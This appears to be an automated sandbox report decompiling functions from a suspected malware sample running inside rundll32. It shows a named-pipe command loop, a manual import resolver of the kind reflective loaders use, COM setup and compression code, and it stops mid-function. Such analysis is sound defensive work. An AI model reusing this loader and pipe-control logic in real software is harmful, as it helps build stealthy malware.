Instruction ID: a4739d2ead622457ec072e929716cb1164bebdf4e50ee256fbe8df010404d717
Opcode Fuzzy Hash: 9ef4ca4ccfb598c2370e440a6953979c825fb973104e7974568f2c4005143921
Instruction Fuzzy Hash: 17E19075A00219DFDF24CFA8C884AAEBBF1FF08315F14855AE816AB351D734A981CF65

Uniqueness

Uniqueness Score: -1.00%

Function 04461A0A Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

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Strings

\u%04X\u%04X, xrefs: 04461B63
@, xrefs: 04461A78
\u%04X, xrefs: 04461B24

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: 261b9a98062580924a474e1559bfd83f6ecafb1f7f3306ca941535267a6c08ca
Instruction ID: ff65bdfa7ec5d6114b550429d8edf9f26f3f19f98133496b48868302d844308e
Opcode Fuzzy Hash: 261b9a98062580924a474e1559bfd83f6ecafb1f7f3306ca941535267a6c08ca
Instruction Fuzzy Hash: D641D47170020AA7EF248DA89D99ABF366CDF40B15F280217FD03D6340F6A4F9919A93

Uniqueness

Uniqueness Score: -1.00%

Function 0445E485 Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

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C-Code - Quality: 30%

			E0445E485(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x446c8a0, 0, 1, 0x446c8b0, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E04458DC9(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

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APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E498
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4A9
CoCreateInstance.OLE32(0446C8A0,00000000,00000001,0446C8B0,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4C0
SysAllocString.OLEAUT32(00000000), ref: 0445E4CB
CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0445E7B4,00000E16,00000000,00000000,00000005), ref: 0445E4F6

Part of subcall function 04458DC9: RtlAllocateHeap.NTDLL(00000008,?,?,04459793,00000100,?,0445661B), ref: 04458DD7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: 6c1f3e05b24fa66073d022e9c5e7469d9dfb20b8fa6933aebb7ead6b3f492f9a
Instruction ID: 083313eebf1e1e88cb9a1657dc24859959024408a74a53005d66343b4b96a0eb
Opcode Fuzzy Hash: 6c1f3e05b24fa66073d022e9c5e7469d9dfb20b8fa6933aebb7ead6b3f492f9a
Instruction Fuzzy Hash: A5210C74600245BBEF248BA6DC4DE9BBF7CEFC6B15F20015DF905962A1D6B1AA00CA61

Uniqueness

Uniqueness Score: -1.00%

Function 044633DA Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 85
stringCOMMON

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C-Code - Quality: 83%

			E044633DA(void* __edi, char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				signed int _t23;
				void* _t30;
				char* _t31;
				char* _t33;
				char* _t35;
				char* _t37;
				char* _t38;
				long long* _t40;

				_t30 = __edi;
				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t35 = _a4;
				_push(_t25);
				 *_t40 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t35);
				L04463533();
				_t23 = _t12;
				if(_t23 < 0 || _t23 >= _a8) {
					L16:
					_t13 = _t12 | 0xffffffff;
					goto L17;
				} else {
					E044633B3(_t12, _t35);
					if(strchr(_t35, 0x2e) != 0 || strchr(_t35, 0x65) != 0) {
						L8:
						_push(_t30);
						_t37 = strchr(_t35, 0x65);
						_t31 = _t37;
						if(_t37 == 0) {
							L15:
							_t13 = _t23;
							L17:
							return _t13;
						}
						_t38 = _t37 + 1;
						_t33 = _t31 + 2;
						if( *_t38 == 0x2d) {
							_t38 = _t33;
						}
						while( *_t33 == 0x30) {
							_t33 = _t33 + 1;
						}
						if(_t33 != _t38) {
							E04458ECB(_t38, _t33, _t23 - _t33 + _a4);
							_t23 = _t23 + _t38 - _t33;
						}
						goto L15;
					} else {
						_t6 = _t23 + 3; // 0x4461bc5
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L16;
						}
						_t35[_t23] = 0x302e;
						( &(_t35[2]))[_t23] = 0;
						_t23 = _t23 + 2;
						goto L8;
					}
				}
			}

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APIs

_snprintf.MSVCRT ref: 044633FE
strchr.MSVCRT ref: 0446341E
strchr.MSVCRT ref: 0446342D
strchr.MSVCRT ref: 04463452

Strings

%.*g, xrefs: 044633F5

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: strchr$_snprintf
String ID: %.*g
API String ID: 3619936089-952554281
Opcode ID: 053b1fdf51ef7d84cac630fd33a350b14df4190b8e4979093e763c3fad69b8fd
Instruction ID: 3bd4754f376f78a89d953c19098fe15a1ba8b3c65932e0e479dbb0099b8fa5ac
Opcode Fuzzy Hash: 053b1fdf51ef7d84cac630fd33a350b14df4190b8e4979093e763c3fad69b8fd
Instruction Fuzzy Hash: 7D215B3270469427EF329E9DEC86BABB7989F01768F14002BFC4786281E6A0F94143D3

Uniqueness

Uniqueness Score: -1.00%

Function 04453775 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 310
pipeCOMMON

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C-Code - Quality: 62%

			E04453775(void* __fp0) {
				signed int _v144;
				signed int _v152;
				char _v160;
				char _v164;
				char _v168;
				signed int _v172;
				char _v176;
				intOrPtr _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				char _v200;
				signed int _v204;
				intOrPtr _t72;
				intOrPtr _t75;
				signed int _t80;
				signed int _t81;
				signed int _t84;
				signed int _t87;
				signed int _t88;
				signed int _t100;
				void* _t102;
				void* _t103;
				unsigned int* _t104;
				signed int _t110;
				signed int _t113;
				void* _t118;
				intOrPtr _t124;
				signed int _t127;
				intOrPtr _t129;
				intOrPtr _t132;
				void* _t133;
				void* _t136;
				signed int _t145;
				signed int _t147;
				signed short* _t148;
				signed int _t158;
				intOrPtr* _t182;
				void* _t186;
				void* _t187;
				void* _t188;
				signed short* _t191;
				void* _t195;
				signed int _t198;
				signed int _t199;
				signed int _t203;
				signed int _t204;
				char _t205;
				signed int _t207;
				void* _t209;
				void* _t215;
				void* _t222;

				_t222 = __fp0;
				_t209 = (_t207 & 0xfffffff8) - 0xac;
				_v144 = 0;
				_v172 = 0;
				while(1) {
					_t72 =  *0x446f8d0; // 0x450f8c0
					_push(0);
					_push( *0x446f8b4);
					_v152 = 0;
					if( *((intOrPtr*)(_t72 + 0xe0))() == 0 && GetLastError() != 0x217) {
						break;
					}
					_push(0);
					_push( &_v160);
					_t75 =  *0x446f8d0; // 0x450f8c0
					_push(0x80000);
					_push( *0x446f974);
					_push( *0x446f8b4);
					if( *((intOrPtr*)(_t75 + 0x90))() == 0 || _v180 == 0) {
						GetLastError();
						goto L56;
					} else {
						_t148 =  *0x446f974; // 0x0
						_t80 =  *_t148 & 0x0000ffff;
						_t215 = _t80 - 8;
						if(_t215 > 0) {
							_t81 = _t80 - 9;
							__eflags = _t81;
							if(_t81 == 0) {
								E044609C3( &_v200);
								L12:
								_t84 =  &_v200;
								L13:
								_push(4);
								L14:
								_push(_t84);
								_push(5);
								L31:
								_pop(_t186);
								E0445D297(_t186);
								L32:
								L56:
								DisconnectNamedPipe( *0x446f8b4);
								_push(0);
								_pop(0);
								_push(1);
								_pop(1);
								if(_v172 == 0) {
									continue;
								}
								break;
							}
							_t87 = _t81;
							__eflags = _t87;
							if(_t87 == 0) {
								_v204 = 0;
								_t88 = E044516B0( &_v204, _t222);
								_v188 = _t88;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(4);
									_v192 = 0;
									_push( &_v192);
									L19:
									_push(0xa);
									goto L31;
								}
								_t145 = _v204;
								_t90 = _t145 * 0x16;
								_v184 = _t145 * 0x16;
								_t203 = E04458DC9(_t90);
								_v192 = _t203;
								__eflags = _t203;
								if(_t203 == 0) {
									_t64 =  &_v192;
									 *_t64 = _v192 & 0x00000000;
									__eflags =  *_t64;
									_push(4);
									_push( &_v192);
									_t187 = 0xa;
									E0445D297(_t187);
									L52:
									E04458DDF( &_v188, _t145);
									goto L32;
								}
								_t198 = 0;
								__eflags = _t145;
								if(_t145 == 0) {
									L50:
									_push(E0445A5D0(_t203));
									_push(_t203);
									_t188 = 5;
									E0445D297(_t188);
									E04458DDF( &_v192, 0xffffffff);
									_t209 = _t209 + 0x10;
									goto L52;
								}
								_t158 = _v188 + 4;
								__eflags = _t158;
								_v204 = _t158;
								do {
									__eflags = _t198;
									if(_t198 != 0) {
										__eflags = _t198 - _t145 - 1;
										if(_t198 < _t145 - 1) {
											_t102 = E0445A5D0(_t203);
											_t158 = _v204;
											 *((short*)(_t102 + _t203)) = 0x3b;
										}
									}
									_t100 =  *_t158;
									_v196 = _t100;
									__eflags = _t100;
									if(_t100 != 0) {
										_t103 = E0445A5D0(_t203);
										_t104 = _v204;
										_push(_t104[1] & 0x0000ffff);
										_push( *_t104 >> 0x18);
										_push(_t104[0] & 0x000000ff);
										_push(_t104[0] & 0x000000ff);
										_t110 = E0445A5D0(_t203) + _t203;
										__eflags = _t110;
										E04459FA5(_t110, _v184 - _t103, "%u.%u.%u.%u:%u", _v196 & 0x000000ff);
										_t158 = _v204;
										_t209 = _t209 + 0x20;
									}
									_t198 = _t198 + 1;
									_t158 = _t158 + 0x20;
									_v204 = _t158;
									__eflags = _t198 - _t145;
								} while (_t198 < _t145);
								goto L50;
							}
							__eflags = _t87 != 1;
							if(_t87 != 1) {
								goto L56;
							}
							_v204 = 0;
							_t113 = E044516B0( &_v204, _t222);
							_t204 = _v204;
							_v196 = _t113;
							__eflags = _t113;
							if(_t113 != 0) {
								E04458DDF( &_v196, _t204);
							}
							_v204 = _t204 * 0x16;
							_t84 =  &_v204;
							goto L13;
						}
						if(_t215 == 0) {
							_t84 = E044609C3( &_v200);
							L16:
							__eflags = _t84;
							if(_t84 == 0) {
								_push(0);
								_push(0);
								goto L19;
							}
							_push(_v200);
							goto L14;
						}
						_t118 = _t80 - 1;
						if(_t118 == 0) {
							_t199 = E04459D29( &(_t148[4]), 0x20, 1,  &_v176);
							_v196 = _t199;
							__eflags = _t199;
							if(_t199 == 0) {
								L30:
								_t191 =  *0x446f974; // 0x0
								E0445A06E( &_v164,  &(_t191[4]), 0x80);
								_push(0x84);
								_push( &_v168);
								_push(2);
								goto L31;
							}
							_t205 = _v176;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								_t124 = E04451D97(E0445A102( *_t199, __eflags), 0, 0, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t124;
								goto L30;
							}
							_t125 = _t205 - 1;
							_v184 = _t205 - 1;
							_t127 = E04458DC9(_t125 << 2);
							_v188 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								goto L30;
							}
							_t147 = 1;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								L28:
								_t129 = E04451D97(E0445A102( *_t199, __eflags), _t127, _v184, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t129;
								E04459E22( &_v176);
								goto L30;
							}
							_v204 = _t127;
							do {
								_t132 = E04459A76( *((intOrPtr*)(_t199 + _t147 * 4)), E0445A5D0( *((intOrPtr*)(_t199 + _t147 * 4))));
								_t182 = _v204;
								_t147 = _t147 + 1;
								 *_t182 = _t132;
								_v204 = _t182 + 4;
								__eflags = _t147 - _t205;
							} while (__eflags < 0);
							_t127 = _v188;
							goto L28;
						}
						_t133 = _t118 - 3;
						if(_t133 == 0) {
							_push(0);
							_push(0);
							_t195 = 5;
							E0445D297(_t195);
							 *0x446f9a8 = 1;
							_v172 = 1;
							goto L56;
						}
						_t136 = _t133;
						if(_t136 == 0) {
							_t84 = E044609A1( &_v200);
							goto L16;
						}
						if(_t136 != 1) {
							goto L56;
						}
						E044609A1( &_v200);
						goto L12;
					}
				}
				return 0;
			}

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APIs

GetLastError.KERNEL32 ref: 044537AB

Part of subcall function 0445D297: FlushFileBuffers.KERNEL32(00000000,?,04453ABB,00000000,00000004), ref: 0445D2DD

DisconnectNamedPipe.KERNEL32 ref: 04453AF8

Strings

%u.%u.%u.%u:%u, xrefs: 04453A5B

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: BuffersDisconnectErrorFileFlushLastNamedPipe
String ID: %u.%u.%u.%u:%u
API String ID: 465096328-3858738763
Opcode ID: 4e61b633f812711b8b2d7d40644f5c8056e45b6306592989a9735585ef288c03
Instruction ID: 7fc0c868197c8fdb76d932498914ff471f646beb7e62527716b7cc18ea354077
Opcode Fuzzy Hash: 4e61b633f812711b8b2d7d40644f5c8056e45b6306592989a9735585ef288c03
Instruction Fuzzy Hash: 9BA1B3B1508301AFEF14EF65D884A2BB7E8EB84354F04491FFD55962A2EB34E9098B52

Uniqueness

Uniqueness Score: -1.00%

Function 0446376C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

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			E0446376C(signed int __eax, void* __ecx, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;
				void* _t167;

				_t167 = __ecx;
				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E0445F024(_t167, _v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x0446376c
0x04463772
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0x00000000
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0x00000000
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0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 04463789
LoadLibraryA.KERNEL32(00000000), ref: 04463822

Strings

kernel32.dll, xrefs: 04463784
GetProcAddress, xrefs: 04463792

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: b6344fd5776f79e4e5e24725d974bf44b1be6e03923eb9d937bd75eeac8dde25
Instruction ID: 6c5ad0cb0f807e9836731de2dbe5fcce35ab083a7f08a5d3bc68349a3700d632
Opcode Fuzzy Hash: b6344fd5776f79e4e5e24725d974bf44b1be6e03923eb9d937bd75eeac8dde25
Instruction Fuzzy Hash: B0618C75A00249EFDF10CF98C485BADBBF1BB08315F24849AE816AB391D374AA85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 04464160 Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

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C-Code - Quality: 99%

			E04464160(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0x5d08408b
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0x51ec8b55
					_t12 = _t272 + 0x5c; // 0xee85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E04467180(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E04465EE0(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0xee85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E04466020( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0x51ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0x51ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x8508458b
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0x51ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0x51ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x830a74c0
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0xee85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x8508458b
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0x51ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E04466020(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0x51ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0x5d08408b
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0xee85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0xee85000
							E04467180(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E04465EE0( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
